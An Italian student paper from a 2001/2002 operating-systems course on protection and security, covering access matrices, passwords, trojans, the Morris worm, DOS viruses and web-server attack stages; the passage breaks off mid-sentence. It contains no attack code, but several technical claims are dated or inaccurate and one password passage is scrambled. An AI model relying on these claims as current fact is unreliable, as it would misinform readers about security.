Università degli Studi di Siena Facoltà di Ingegneria Informatica A.A. 2001/2002 Corso di Sistemi Operativi Sicurezza e Protezione Docente: prof. Alfio Andronico Studente: Ferruccio Costantini Lucia Vagaggini PROTEZIONE Protezione e la sicurezza sono due aspetti di interesse vitale sia per gli utenti di un sistema informatico che per i realizzatori. I vari processi di un sistema operativo devono essere protetti dalle attività degli altri processi;la protezione è il meccanismo per il controllo dell’accesso alle risorse definite da un sistema di calcolo da parte di programmi,processi o utenti. La protezione era originariamente intesa come un accessorio dei sistemi operativi con multiprogrammazione tale che utenti non fidati potessero condividere lo spazio di nomi logici e fisici comuni,ad esempio directory di file e memoria. Vista la crescente complessità dei sistemi che con le applicazioni sempre più sofisticate necessitano sempre più di risorse condivise, è comprensibile che si sia evoluto anche il concetto di protezione. I motivi più ovvi della protezione sono la prevenzione di violazioni intenzionali e dannose di vincoli di accesso da parte di un utente e la necessità di assicurare che ogni componente del programma attivo in un sistema utilizzi le risorse coerentemente alle politiche stabilite per gli utenti delle risorse stesse,solo così un sistema sarà affidabile. Il ruolo della protezione è quello di offrire un meccanismo di imposizione di politiche che controllino l’utilizzo delle risorse.Queste politiche possono essere fissate in vari modi,tuttavia il sistema di protezione deve avere la flessibilità di consentire di imporre le diverse politiche che possono essere dichiarate per esso. Le politiche possono variare a seconda dell’applicazione oppure con il tempo. MECCANISMI DI PROTEZIONE Dominio di protezione Un sistema è un insieme di oggetti e di processi,con il termine oggetti si intendono sia parti hardware che software,in generale gli oggetti sono dei tipi di dati astratti. Le operazioni possibili dipendono dall’oggetto. A un processo deve essere permesso di accedere solo a un processo per il quale ha ricevuto l’autorizzazione e un’altra caratteristica fondamentale è che acceda solamente alle risorse di cui ha concretamente bisogno. Un processo opera cioè all’interno di un dominio di protezione,che è un insieme di coppie<nome oggetto,lista dei diritti>;cioè un dominio specifica un oggetto e qualche sottoinsieme di operazioni che si possono eseguire su di esso. Un diritto è il permesso di eseguire una certa operazione. Ogni dominio definisce un insieme di oggetti e i tipi di operazioni che possono essere richiamati su ogni oggetto;la possibilità di eseguire una certa operazione per un processo è detta ‘diritto di accesso’. I domini non sono necessariamente disgiunti,essi possono condividere anche gli stessi diritti di accesso.L’associazione tra domini può essere statica o dinamica. E’ statica quando l’insieme delle risorse disponibili è fissato per tutta la durata del processo,dinamica quando esiste un meccanismo che permette a un processo di passare da un dominio all’altro o addirittura viene permessa la modifica al contenuto di un dominio. In ogni istante un processo gira in qualche dominio di protezione. In UNIX un dominio è associato all’utente.Il cambio di dominio corrisponde al cambio temporaneo dell’identificatore dell’utente,che viene effettuato tramite il file system.A ogni file sono associati un identificatore di proprietario e un bit di dominio(chiamato ‘setuid bit’) che può essere ‘off’ oppure ‘on’. In particolare in UNIX il dominio di un processo è definito dai suoi dati di identificazione dell’utente(‘uid’) e da quelli del gruppo(‘gid’). Data ogni combinazione (uid,gid) è possibile fare una lista competa di tutti gli oggetti a cui si può accedere e indicare se essi possono essere visitati per lettura,scrittura o esecuzione. Ogni processo UNIX ha due metà:la parte utente e la parte kernel.Quando un processo fa una chiamata di sistema si sposta dalla parte utente alla parte kernel. La parte kernel ha accesso ad un insieme di oggetti differente da quello della parte utente;per esempio il kernel può accedere a tutte le pagine nella memoria fisica,al disco intero e a tutte le risorse protette.Cosi una chiamata di sistema provoca uno scambio di dominio. Nel sistema MULTICS i domini di protezione sono organizzati gerarchicamente in una struttura ad anelli. Ogni anello è un dominio,essi sono numerati da 0 a 7.Se Di e Dj sono due anelli dominio , con i<j, allora Di è un sottoinsieme di Dj,cioè un processo in esecuzione su Dj ha più privilegi di uno che sta in Di. Un processo in esecuzione su D0 ha più privilegi di tutti. MULTICS ha uno spazio di indirizzi segmentato;ogni segmento è un file ed è associato a uno degli anelli. Un descrittore del segmento include un elemento che identifica il numero dell’anello,inoltre contiene 3 bit di accesso per il controllo di lettura,scrittura e esecuzione. A ogni processo è associato un contatore del numero corrente di anello,che identifica l’anello nel quale il processo è attualmente in esecuzione. Matrice di accesso Il modello di protezione considerato può essere visto astrattamente come matrice d’accesso,le cui righe sono i domini e le cui colonne sono gli oggetti. Ogni elemento della matrice è formato da un insieme di diritti di accesso. L’elemento ACCESS(i,j) definisce l’insieme delle operazioni che un processo in esecuzione nel dominio Di può richiamare su un certo oggetto Oj . Le decisioni di politica riguardanti la protezione possono essere implementate attraverso la matrice di accesso. In un sistema di protezione dinamica talvolta è necessario revocare i diritti di accesso a oggetti condivisi da diversi utenti,così come è necessaria talvolta la revoca delle abilitazioni. Due sistemi di protezioni basati sull’abilitazione sono Hydra e Sistema Cambridge CAP. Il grado di protezione che viene fornito negli attuali sistemi di calcolo è di solito ottenuto tramite il kernel del sistema operativo che si occupa di controllare e convalidare ogni tentativo di accesso a una risorsa protetta. Oggi specificare il controllo d’accesso a una risorsa condivisa significa fare una proposizione dichiarativa sulla risorsa mediante un linguaggio di programmazione. La specificazione delle protezioni in un linguaggio di programmazione permette la descrizione ad alto livello di politiche per l’allocazione e l’utilizzo di risorse. La matrice di accesso è un modello generale di protezione ed è normalmente implementata per mezzo di liste di accesso associate a ogni oggetto ,oppure per mezzo di liste di abilitazioni associate a ogni dominio. Visto che la matrice di accesso tutta intera sarebbe troppo grossa si memorizza o per righe o per colonne. PER COLONNE A ogni oggetto viene associata una lista ordinata che contiene tutti i domini che possono essere associati all’oggetto e come. C’è una “lista di controllo degli accessi”(ACL) UNIX mette a disposizione 3 bit per ogni file:per il proprietario,per il gruppo a cui appartiene e per gli altri. La lista ACL compattata a 9 bit è una lista associata all’oggetto che precisa chi e in quale modalità può accedere all’oggetto. PER RIGHE A ogni processo è associata una lista di oggetti a cui si può accedere ed è presente anche un’indicazione di quali operazioni sono permesse su ciascun oggetto,in altre parole il suo dominio. Questa lista è detta “capability list”. Ogni elemento ha un campo ‘tipo’ ,un campo ‘diritto’ e un campo ‘oggetto’. Le capability list devono essere protette da intromissioni di utenti per mezzo di un architettura etichettata,ossia un bit extra di tag, oppure bisogna mantenere la C-list dentro il sistema operativo oppure un altro metodo è mantenere la C-list nello spazio utente(in questo caso occorre crittografare ogni elemento della lista con una chiave segreta sconosciuta dall’utente). Le matrici di protezione in genere non sono mai statiche perché quando si creano nuovi oggetti o si distruggono i vecchi,quando bisogna estendere o restringere l’insieme degli utenti aventi diritto a ceri oggetti, allora è necessario che le matrici cambino,siano cioè flessibili alle esigenze del momento. Ci sono 6 primitive: 1. crea oggetto 2. distruggi oggetto 3. crea dominio 4. distruggi dominio 5. aggiungi diritto 6. revoca diritto La politica di sicurezza è che nessun oggetto può leggere un oggetto il cui livello sia superiore al proprio,mentre può liberamente farlo con quelli inferiori,inoltre nessun processo può scrivere in un oggetto il cui livello sia inferiore al suo. SICUREZZA La sicurezza di un sistema ha moltissimi aspetti. Mentre la protezione riguarda l’interno perché si occupa di fornire un accesso controllato a programmi e dati memorizzati in un computer,la sicurezza richiede la considerazione dell’ambiente esterno nel quale opera il sistema. Bisogna difendere le informazioni memorizzate nel sistema(codice e dati) da accessi non autorizzati,da distruzioni o da alterazioni dolose. I due aspetti principali della sicurezza sono: 1)la perdita dei dati per cause di forza maggiore,tipo errori hardware o software o errori umani 2)gli intrusi che possono essere passivi se vogliono solo leggere i file per cui non hanno l’autorizzazione,oppure attivi se vogliono addirittura modificare i dati. Le violazioni della sicurezza (abusi) del sistema possono essere classificate come intenzionali oppure accidentali. Il modo per verificare la sicurezza di un sistema è raccogliere un gruppo di esperti conosciuti come ‘tiger team’ per vedere se sono capaci di accedervi. Gli attacchi che spesso hanno più successo sono: 1) richiesta di pagine di memoria,spazio su disco o su nastri e loro lettura.Molti sistemi non ne cancellano il contenuto prima di allocarli e possono contenere informazioni interessanti scritte dal proprietario precedente; 2) chiamate illegali di sistema; 3) ingannare l’utente lanciando un programma che scrive LOGIN cosicché l’utente digiti password e nome e il programma li possa memorizzare. 4) consultare manuali che dicono ‘non fare x’ e provare il numero maggiore possibile di variazioni di x; PASSWORD L’aspetto della segretezza è fondamentale per proteggere gli individui dal cattivo uso dell’informazione che li riguarda. I problemi delle password sono connessi infatti alla difficoltà di mantenere la segretezza della parola stessa. La segretezza può essere compromessa dal fatto che le password possono essere indovinate ,mostrate per errore oppure trasferite illegalmente da un utente autorizzato a uno privo di autorizzazione. Il principale problema riguarda proprio la convalida ;generalmente la convalida è basata su una combinazione dei seguenti tre insiemi di elementi:oggetti posseduti dall’utente(una chiave o una scheda),conoscenze dell’utente(un identificatore dell’utente(impronta digitale,firma). L’approccio più diffuso è l’utilizzo di password. e una password),un attributo Quando un utente si identifica attraverso la user-id gli viene chiesta la password e se corrisponde a quella memorizzata nel sistema,il sistema assume che l’utente sia quello legittimo. Visto che sono numerosi i modi perché una variante venga compromessa,c’è la variante di password accoppiate. Quando inizia una sessione il sistema seleziona caso una coppia di password e ne propone una parte;l’utente deve fornire l’altra parte e se questa coincide a quella memorizzata nel sistema l’accesso è consentito altrimenti negato. Questo approccio può essere generalizzato all’utilizzo di una password in forma di algoritmo. L’algoritmo può essere ad esempio una funzione intera. Il sistema seleziona a caso un intero e lo propone all’utente;l’utente applica la funzione e risponde col dato. UNIX utilizza una variante della password algoritmica per evitare di mantenere segreta la propria lista di password. Ogni utente ha una password. Il sistema contiene una funzione molto difficile da invertire ma semplice da calcolare;cioè dato un x è facile calcolare f(x),ma dato un valore f(x) è impossibile calcolare x. Questa funzione è utilizzata per cifrare tutte le password. Sono memorizzate solo le password cifrate. Quando un utente presenta una password questa viene cifrata e confrontata con quella memorizzata. Agli utenti di UNIX conviene utilizzare password combinate,come due parole di dizionario oppure due nomi inventati perché in questo modo è più facile evitare i metodi di decifratura per indovinare le password, che sono numerosi. PERICOLI PER I PROGRAMMI Cavalli di troia Molti sistemi dispongono di un meccanismo che permette agli utenti di utilizzare programmi scritti da altri utenti. Questi programmi possono abusare dei diritti di accesso dell’utente che li esegue se essi stessi vengono eseguiti in un dominio che fornisce tali diritti di accesso. Un segmento di codice che abusi del suo ambiente è chiamato cavallo di troia. Il problema del cavallo di troia è aggravato dai lunghi percorsi di ricerca,come quelli diffusi su UNIX. Il percorso di ricerca indica l’insieme delle directory su cui effettuare la ricerca quando viene sottoposto un nome ambiguo di programma ;ecco che tutte le directory devono essere sicure altrimenti un cavallo di troia può insinuarsi nel percorso dell’utente ed essere eseguito. Trabocchetti Il progettista di un programma può lasciare un buco nel software che solo lui è in grado di utilizzare. Il codice può cercare una password specifica e aggirare le normali procedure di sicurezza,ad esempio la famosissima transazione della lira. Un abile trabocchetto potrebbe essere inserito in un compilatore;per scoprirlo è necessario analizzare tutto il codice sorgente,che può essere anche di milioni di righe,perciò non di facile individuazione. PERICOLI PER IL SISTEMA Alcune situazioni di abuso delle risorse del sistema e dei file utenti sono i worm(letteralmente vermi) e i virus. WORM E’ un processo che sfrutta il meccanismo di generazione per minare le prestazioni del sistema;esso genera continuamente copie di sé stesso logorando le risorse del sistema,talvolta fino a renderlo inutilizzabile da tutti gli altri processi. I worm sono potenti sulle reti di trasmissione perché hanno la possibilità di riprodursi sui diversi sistemi a esse collegati e quindi di far cadere l’intera rete. Una situazione di questo tipo si é verificata nel 1988 tra sistemi unix connessi alla rete mondiale internet,causando milioni di dollari di perdita in tempo di sistema e di programmazione. Internet collega migliaia di computer di enti governativi,accademici,di ricerca e industriali. Al termine del giorno lavorativo del 2 novembre 1988 uno studente rilasciò un programma worm Su uno o più host connessi a internet. Il worm si propagò rapidamente su grandi distanze ed entro poche ore dal suo rilascio aveva consumato le risorse dei sistemi infetti fino al punto di causarne la caduta. Il worm sfruttò le lacune nella routine di sicurezza di unix e ingannò le utility di unix che semplificavano la condivisione delle risorse in una rete locale per ottenere accessi non autorizzati a migliaia di altri siti connessi. Il worm era composto da due programmi ,un programma bootstrap e un programma principale. Il bootstrap era costituito da 99 linee di codice C compilate ed eseguite su ogni macchina raggiunta. Una volta stabilitosi sul sistema sotto attacco il bootstrap si connetteva alla macchina sulla quale era stato generato e caricava una copia del programma principale del worm sul sistema agganciato. Il programma principale iniziava quindi la ricerca di altre macchine a cui il sistema appena infettato era in grado di connettersi con facilità. Le stesse caratteristiche dell’ambiente di rete unix che hanno permesso una propagazione così veloce ed efficiente del worm contribuirono anche al suo arresto.Infatti già a partire dalla sera del 3 novembre circolavano su internet metodi per arrestare il worm. Per infettare nuove macchine il programma worm provava tre metodi. Il primo consisteva nel provarev a lanciare una shell remota usando il comando rsh.Alcune macchine si fidavano delle altre macchine e lo eseguivano senza fare ulteriori verifiche di autenticità.Se ciò funzionava la shell remota caricava il programma worm e continuava a infettare le nuove macchine da lì. Il secondo metodo uasava un programma presente su tutti i sistemi BSD chiamato FINGER che permette a qualsiasi utente della rete di internet di lanciare il comando: Finger name@site per visualizzare l’informazione riguardante una persona in una particolare installazione. Questa informazione di solito include il vero nome della persona,il collegamento,il numero di telefono e l’indirizzo di casa e di lavoro…insomma l’equivalente elettronico di una rubrica telefonica. Finger funziona come segue: ad ogni sito BSD,un processo di background detto finger daemon è sempre attivo per ricevere e rispondere alle domande provenienti da tutta la rete internet. Il worm chiamava finger con una stringa speciale di 536 byte. Questa stringa era così lunga da accedere alle dimensioni del buffer del daemon e ne invadeva lo stack. L’errore sfruttato qui era far fallire il buffer di daemon nel controllo dell’overflow.Quando il daemon ritornava dalla procedura in cui era in quel momento non ritornava al programma principale,ma andava ad una procedura nella stringa di 536 byte nello stack. Il terzo metodo dipendeva da un errore nel sistema di posta SEND MAIL,che permetteva al worm di spedire una copia del bootstrap ed eseguirlo. Una volta insediato,il worm cercava di scoprire la password dell’utente. Ogni password individuata permetteva al worm di connettersi con tutte la macchine su cui il proprietario della password aveva un account. Ogni volta che il worm otteneva l’accesso a una nuova macchina controllava se vi erano altre copie del worm già attive. In questo caso la copia nuova usciva,tranne che una volta su 7 in cui continuava l’esecuzione. Se il worm fosse stato progettato in modo da terminare ogni volta si propagava in una macchina già infetta,probabilmente non sarebbe mai stato scoperto. Consentendo a ogni settimo duplicato di proseguire portò alla totale infestazione dei sistemi Sun e VAX. Vista la complessità del programma worm non si può non pensare che non sia stata intenzionale l’azione svolta dallo studente,anche se non si comprendono bene i motivi che spinsero Morris a rilasciare il worm(forse una bravata che poi è degenerata in azione criminale). Morris è stato giudicato colpevole dalla corte federale perché anche se il programma non conteneva codice rivolto al danneggiamento o alla distruzione dei sistemi su cui veniva eseguito,era comunque un programma che compiva operazioni elaborate per nascondere le proprie tracce e per respingere qualsiasi tentativo di arrestarne la diffusione. Morris ha avuto una condanna a 3 anni di libertà vigilata,400 ore di servizio alla comunità e un’ammenda di 10.000 $. VIRUS Una categoria speciale di attacco è il virus,che è un frammento di programma attaccato ad un programma legittimo con l’intento di infettare altri programmi. Differisce dal worm solo perché è attaccato ad un programma già esistente mentre il worm è un programma completo e indipendente. La persona che scrive il virus prima produce un nuovo programma utile,spesso un gioco in MSDOS,questo programma contiene un virus ben nascosto. Quando il programma è fatto partire comincia immediatamente con l’esaminare tutti i programmi binari del disco fisso per vedere se sono già infettati. Quando trova un programma non infetto,questo viene infettato attaccando il codice del virus alla fine del file e sostituendo la prima istruzione con un salto al virus. Quando il codice del virus termina l’esecuzione,esso prosegue con l’esecuzione dell’istruzione che precedentemente doveva essere la prima e poi salta alla seconda istruzione,così che ogni volta che un programma infetto viene eseguito prova ad infettare nuovi programmi. Un virus può cancellare,modificare o crittografare file. Per un virus è possibile anche infettare il boot server(settore iniziale) di un disco rigido rendendo impossibile inizializzare il computer. Un approccio più generale per risolverli è riformattare tutto il disco rigido compreso il boot sector, installare tutto il software sicuro ed eseguire il controllo di parità per ogni file. Questo metodo non previene l’infezione,ma permette una immediata individuazione del virus. L’infezione si contrae più difficilmente se la directory dove risiedono i programmi non è accessibile agli utenti ordinari perché è difficile per i virus modificare file binari. Sebbene si possa usare in UNIX ,questa tecnica preventiva non è applicabile per MS-DOS visto che questo tipo di directory non si possono completamente proteggere dalla scrittura. In generale i computer multi utente non sono soggetti all’espansione dei virus, perché i programmi in esecuzione sono protetti dalle scritture del sistema operativo. Anche se un virus infettasse un programma i suoi poteri resterebbero comunque limitati perché altri aspetti del sistema sono protetti. I sistemi a singolo utente invece non hanno queste protezioni,per cui i virus hanno via libera. La maggior parte dei pacchetti commerciali è efficace solo contro virus conosciuti e opera cercando in tutti i programmi di un sistema la specifica sequenza di istruzioni che caratterizza i virus. Quando tali programmi trovano una sequenza nota rimuovono le istruzioni ‘disinfettando’ il programma. Tuttavia la migliore tecnica di protezione dai virus è la prevenzione,ossia la pratica dell’elaborazione sicura,acquistando software sigillato e stare molto attenti se prendiamo copie pirata o di pubblico dominio,cercando una individuazione veloce del virus e rimuoverlo prima che faccia troppi danni. Se abbiamo contratto il virus occorre riformattare l’harddisk,specialmente il settore di boot. Caricando solo software sicuro,calcolando una somma di controllo per ogni file copiato,dopo ogni reboot un programma ricalcolerà le somme di controllo in base alla lista memorizzata in un luogo immune da accessi non autorizzati;ogni differenza sarà un allarme per possibili infezioni. VIRUSCAN è uno dei programmi antivirus fra i più efficaci. Qualsiasi sistema può essere considerato a rischio per quanto riguarda un attacco virale. Il tipo di danno può variare molto,fino a richiedere in casi estremi la completa ricostruzione del software e dei dati. Oggi sono oltre 90 ceppi virali diversi,specialmente nei sistemi che utilizzano collegamenti in rete,e aumentano sempre più. La possibilità di ridurre il rischio dell’infezione è tuttavia del95% e inoltre è possibile aumentare la probabilità di recuperare dati persi qualora risultassimo vittime di un attacco. Le reti di un computer sono vitali e un blocco della rete sarebbe una ‘Chernobyl informatica ‘. Nessun tipo di software può essere considerato inviolabile. Il virus è un programma software con un codice che apre e chiude circuiti elettrici nei computer;per renderlo penetrabile nei sistemi i loro creatori,lo mimetizzano in modo che risulti simile al software normale,una sorta di cavallo di troia. Questi programmi dannosi sono resi interssanti ,come giochi o pacchetti di produttività. Tali programmi sono spesso diffusi attraverso banche dati,da cui gli utenti li prelevano convinti di ottenere qualcosa di utile. Comportamenti strani del software spesso vengono scambiati per virus. Un virus una volta diffuso è in grado di replicarsi e introdursi in altri sistemi;una volta dentro a un sistema è in grado di infettare i file presenti su dischetti e dischi fissi. I bersagli più ovvi sono i file.com o .exe o .sys che fanno parte di ogni sistema dos. I virus che infettano i file.com o .exe interrompono la normale attività di elaborazione alla prima occasione,prendendo il controllo del sistema e copiandosi nei nuovi file.com e .exe. Possono attaccarsi ai file esternamente,come se fossero un etichetta su una cartellina,oppure possono trovarsi spazi interni ai file capaci di accoglierne il codice in mezzo al codice del programma ospite. Alcuni restano nella memoria del sistema in modo da poter infettare ogni programma che venga eseguito. Altri possono modificare il settore di avvio (boot sector) di un disco in modo da<renderlo più adatto alla loro vita e replicazione. I virus di solito si agganciano all’inizio e alla fine dei file. Alcuni virus sono addirittura in grado di assumere il controllo della FAT(file allocation table) che organizza la collocazione dei file su disco. Questo virus ricrea una mappa del disco in modo che il sistema operativo non possa più trovare i dati che gli servono. Altri virus inviano copie di sé nella RAM,la memoria principale del computer,e possono restare silenziosi e pronti ad assalire qualsiasi ospite ricettivo passi a tiro,come un dischetto sano che venga inserito nel drive. Può accadere infatti di inserire un dischetto nuovo e perfetto,appena estratto dalla sua confezione,e formattandolo per la prima volta trovarlo infettato da un virus che era presente in ram,in un dischetto inserito nell’altra unità disco,o nel disco fisso. I programmi pirata sono la fonte principale di virus. Il pericolo potenziale di un virus non è sempre direttamente proporzionale alla sua complessità,dimensione o sofisticazione tecnica. E’ virtualmente impossibile che un virus arrivi a danneggiare un componente hardware senza che l’utente si renda conto del fenomeno prima che si verifichi un danno fisico. La capacità dei virus di danneggiare posta elettronica esiste principalmente nei sistemi che permettono il trasferimento dei file eseguibili;sono invece più al sicuro i sistemi di posta elettronica che si limitano a trasmettere i dati e riceverli in formato ASCII puro. Molti virus dell’ambiente dos si nascondono nel settore di boot e ricercano i file con estensioni “.com” o “.exe”. Particolarmente invitanti sono i file del dos che non figurano negli elenchi di directory e possono venire infettati senza che ciò venga tempestivamente rilevato. Molti virus del dos si nascondono nell’orologio di sistema,dato che questa parte venga eseguita non appena il sistema viene acceso. In questo modo il virus si attiva prima che un programma antivirus inizi ad esaminare il sistema. Un programma viene detto TSR(residente in memoria) quando al termine dell’esecuzione di una data operazione,rimane caricato in memoria,pronto per ritornare disponibile quando è necessario. Quando un virus TSR si introduce in un sistema e ha eseguito le operazioni iniziali di infezione si nasconde nella ram e attende un momento propizio per attivarsi di nuovo. Anche quando non è attivo un virus può causare problemi perché occupa spazio nella ram non permettendo l’esecuzione di alcune operazioni. Alcuni virus possono dare origini a sintomi che possono essere facilmente scambiati almeno all’inizio per malfunzionamenti hardware,offrendo così ulteriori possibilità di infezione prima che il virus venga rilevato. Se si dovesse fare una classificazione dei virus allora ci sarebbero tre gruppi: 1)quelli che si installano nel settore di avvio di un dischetto o di un disco fisso,contenente le primissime istruzioni per il computer. Questi virus si sostituiscono alle istruzioni originarie prendendo immediatamente il controllo del sistema. Essi tendono a creare settori inutilizzabili sul disco,dove memorizzare il resto del loro codice. 2)quelli che si attaccano a parti del sistema operativo o dal software di base e di gestione delle operazioni. I virus possono colpire parti di codice del sistema operativo dedicate all’input/output,l’interprete dei comandi o qualunque altro file di sistema possono installarsi in memoria e rimanere attivi permanentemente,oppure svolgere il loro compito e poi auto distruggersi. Questi virus costituiscono un problema particolare poiché assumono il controllo di un sistema prima che un programma per ricerca o la prevenzione del contagio da virus possa essere lanciato. 3)Questo tipo di virus può infettare qualsiasi programma applicativo,elaboratori di testo,fogli elettronici,database,programmi speciali e perfino quelli scritti dall’utente stesso. Questi virus possono installarsi in memoria e propagare l’infezione ogni volta che viene caricato un nuovo programma,oppure quando un’applicazione viene trasferita su un nuovo disco,oppure quando si accede a una directory contenente altre applicazioni. Per rimuovere i virus dal sistema operativo bisogna prima di tutto identificare i file infetti. I passi da seguire sono: 1- Spegnere il sistema e riaccenderlo avviandolo con un dischetto protetto in scrittura,contenente una versione pulita del sistema operativo. 2-Per identificare i file infetti lanciare un programma come viruscan 3-Una volta identificati i file infetti,copiare dal disco i file originali corrispondenti sostituendoli alle rispettive copie infette;il virus viene così eliminato. 4-assicurarsi che il dischetto originale resti sempre protetto contro la scrittura e che la copia avvenga dal dischetto verso il disco fisso e non viceversa. PROTEZIONE DEI DATI E PREVENZIONE DAL VIRUS La protezione dei dati è la parte più importante di un sistema ed è responsabilità esclusiva dell’utente. Chiunque abbia accesso fisico,elettronico,via telefono,in via rete,o tramite lo scambio dei dischetti,a un sistema da proteggere rappresenta una potenziale minaccia. Porre restrizioni all’accesso può risultare intanto una soluzione. Il concetto delle restrizioni di accesso e della sicurezza dovrebbe estendersi anche a tutti i supporti di memorizzazioni,dai dischetti ai dischi fissi... Se mettere tutto sotto chiave non è un’idea realistica e praticabile,esistono accessori hardware che impediscono l’accensione del computer da parte di estranei,così come programmi basati per esempio su chiavi di accesso che impediscono l’utilizzo non autorizzato del software. Bisogna però ricordare che ci sono molti virus,forse i peggiori, che entrano in funzione nel momento stesso in cui viene acceso il computer e che anche il più elaborato sistema difensivo a base di password e di codici di accesso potrebbe non essere in grado di impedire a un dischetto infettato di contagiare il sistema. DISK DEFENDER è un sistema di protezione,è un dispositivo hardware che agisce come una barriera per mantenere i virus all’esterno di una data porzione del disco fisso.Esso prevede la divisione del disco fisso in due parti:una zona di sola lettura e quindi sicura per i dati e un’altra zona in cui sono permesse sia lettura che scrittura. I VIRUS DELL’AMBIENTE DOS Il ‘disk killer’ è un virus del settore di boot ed è il più distruttivo,esso esegue una formattazione a basso livello del disco fisso. Il ‘dark avenger’ colpisce i file con estensione.com o .exe.E’ in grado di attaccare qualsiasi nuovo programma che risiede nel server,virtualmente in ogni momento di attività di un programma applicativo,compreso il caricamento,l’esecuzione o il trasferimento di codici o di dati tra sistemi. Lo ‘zerbug’ attacca i file .com,si attiva e distrugge i dati in modo rapido ed efficace. Lo ‘yankee doodle’ viene attivato nell’orologio interno del sistema. Ci sono tantissimi altri virus,alcuni sono innocui altri sono catastrofici fino al punto di cancellare l’intero contenuto del disco fisso. Esistono altri che bloccano il sistema replicandosi fino al punto di saturare la memoria o lo spazio su disco. VIRUSCAN Viruscan è un software antivrus che funziona ricercando in un sistema le tipiche tracce di attività virale e nel caso le rilevi,confronta questi sintomi con le caratteristiche proprie dei vari virus,contenute nel suo database. Tipo come in un’indagine di polizia in cui vengono rilevate le impronte digitali sulla scena di un delitto per poi poterle confrontare con quelle registrate negli schedari. La caratteristica di viruscan è che è facile ottenere gli aggiornamenti. Attualmente sono disponibili sul mercato centinaia di programmi antivirus,ma anche i migliori rischiano di diventare obsoleti nel giro di pochi mesi,man mano che vengono creati nuovi virus. Viruscan può essere aggiornato in qualsiasi momento anche via telefono se si dispone di un modem,tuttavia è efficace solo se usato di frequente e se è mantenuto aggiornato. ****** I dati in un disco fisso possono resistere anche ai disastri più gravi,compreso un virus. E’ necessario identificare i dati di reale importanza e proteggerli da ogni pericolo immaginabile come virus informatici e catastrofi naturali. Le crepe di un sistema di sicurezza rendono un sistema vulnerabile agli attacchi umani almeno quanto ai disastri naturali. I virus possono penetrare attraverso i sistemi di sicurezza convenzionali e rivelarsi difficili da prevedere e da individuare. Non vi è nulla di statico nelle operazioni di un computer,tuttavia le procedure di sicurezza per la protezione e il recupero dei dati devono essere considerate sacre e inviolabili e non deve essere introdotto nessun cambiamento non autorizzato. Sicurezza e protezione sul web Introduzione L'efficacia del Web sia come mezzo di divulgazione delle informazioni sia come strumento per la vendita di prodotti o per l'erogazione di servizi è ormai nota a tutti e spinge, giorno dopo giorno, sempre più entità ed organizzazioni a scegliere Internet come canale preferenziale di contatto con il pubblico. L'uso di questo canale se da un lato apre la strada a possibilità di sviluppo prima impensabili, di contro, presenta dei rischi che non possono essere sottovalutati. D'altra parte le cronache di tutti i giorni riportano con sempre maggiore frequenza notizie relative ad intrusioni perpetrate ai danni di sistemi informatici più o meno noti e non passa settimana in cui i principali bollettini di sicurezza non danno rilevanza alla scoperta di pericolosi bug od exploit destinati ad essere prontamente sfruttati per portare a compimento attacchi di vario genere. Ma cosa rende un server Web una risorsa così appetibile ed esposta agli attacchi esterni ? Sicuramente una combinazione di molteplici di fattori tra i quali vanno citati i seguenti: i server Web spesso rappresentano delle vere e proprie porte di accesso alla rete interna (LAN) nella quale sono custodite le informazioni più svariate (informazioni aziendali, dati sul personale, sulla clientela, dati di rilevanza economica e legale, etc..); la sottovalutazione dei rischi oppure la mancanza di risorse economiche ed umane da dedicare al potenziamento delle politiche di sicurezza ed anche la scarsa progettazione e qualità del software possono determinare l'insorgere di una condizione di intrinseca vulnerabilità dei servizi Web resa ancora più grave dalla loro esposizione al pubblico; condurre con successo un attacco sul Web utilizzando le classiche porte del servizio http (80, 81, 8000, etc..) è molto più facile dal momento che nella stragrande maggioranza dei casi il traffico veicolato in questo modo non è bloccato dai dispositivi di controllo degli accessi (router e/o firewall); Dalla combinazione di questi ed altri fattori possiamo trarre lo spunto per fare una semplice osservazione: acquisire visibilità sulla rete significa purtroppo accrescere le probabilità di vedere, prima o poi, il proprio server violato da qualcuno. In effetti il rischio di subire intrusioni od attacchi di altro genere non è soltanto circoscritto ai grandi portali del Web ma si estende anche alle semplici risorse di carattere statico le quali, se non debitamente protette, possono attirare le attenzioni non proprio benevoli di qualcuno. Sfortunatamente non esistono dei rimedi nè delle tecniche tali da poter rendere sicuro al 100% un server contro gli attacchi provenienti dall'esterno ma, ciò nonostante, si può ancora operare per tenere lontani molti problemi e vulnerabilità. Per fare ciò occorre innanzitutto comprendere la natura e la portata dei pericoli ai quali ci si espone e successivamente adottare delle precauzioni di carattere generale dirette a circoscrivere i rischi suddetti entro limiti accettabili in relazione alla natura degli interessi da proteggere. Ciò che un ingegnere dovrebbe essere in grado di fare è dunque individuare i potenziali rischi per chi decide di esporsi all’esterno attraverso un servizio web di carattere pubblico ed individuare quindi una serie di misure dirette a limitare i rischi. Individuazione dei rischi Fondamentalmente i pericoli derivanti dalla mancata adozione di adeguati criteri di sicurezza nell'allestimento e nel mantenimento di un sito Web pubblico sono riconducibili alla possibilità di un abuso del servizio da parte di soggetti malintenzionati. Questo abuso può essere perpetrato in svariati modi ma molto spesso esso implica uno sfruttamento degli errori di configurazione o delle vulnerabilità esistenti a livello di: 1 sistema operativo; 2 servizio http od altri servizi di rete (smtp, database, ftp, etc..); 3 programmi/interpreti e script utilizzati per la generazione del contenuto del sito; 4 dispositivi di controllo degli accessi (routers e firewalls). In linea generale il percorso che un aggressore tenta di seguire nell'attacco di un sistema può essere riassunto nel modo seguente: accesso al sistema attraverso l'esecuzione di exploit, lo sfruttamento di condizioni di buffer overflow in script e programmi, la cattura o l'intercettazione del file delle password, gli attacchi a forza bruta; scalata dei privilegi e/o impersonificazione degli utenti con privilegi amministrativi attraverso il crack delle password e/o l'esecuzione di exploit successivi; occultamento delle tracce tramite la cancellazione dei logs, l'uso di rootkits e lo sfruttamento di particolari caratteristiche del sistema operativo (vedi gli Alternate Data Streaming di Windows NT/2000); installazione di backdoors cioè di programmi nascosti che permettono all'aggressore un ritorno ed una ripresa del controllo del sistema in qualsiasi momento; Complessivamente, in conseguenza di queste azioni, l'aggressore può essere portato ad eseguire delle attività che rientrano in due aree principali: attività che comportano una manipolazione del server e/o un trafugamento di informazioni: atti di vandalismo come la modifica dei contenuti delle pagine Web o la cancellazione del contenuto dell'intero sito; trafugamento di informazioni sensibili concernenti l'organizzazione, la configurazione di rete oppure la clientela o gli utenti); uso dell'host come base per lanciare attacchi contro altri sistemi (attacchi D.D.O.S - Distributed Denial of Service); installazione di strumenti per il monitoraggio del traffico di rete e la cattura di informazioni di autenticazione (sniffing); attività che producono una situazione di indisponibiltà del servizio (D.O.S. - Denial of Service) cioè 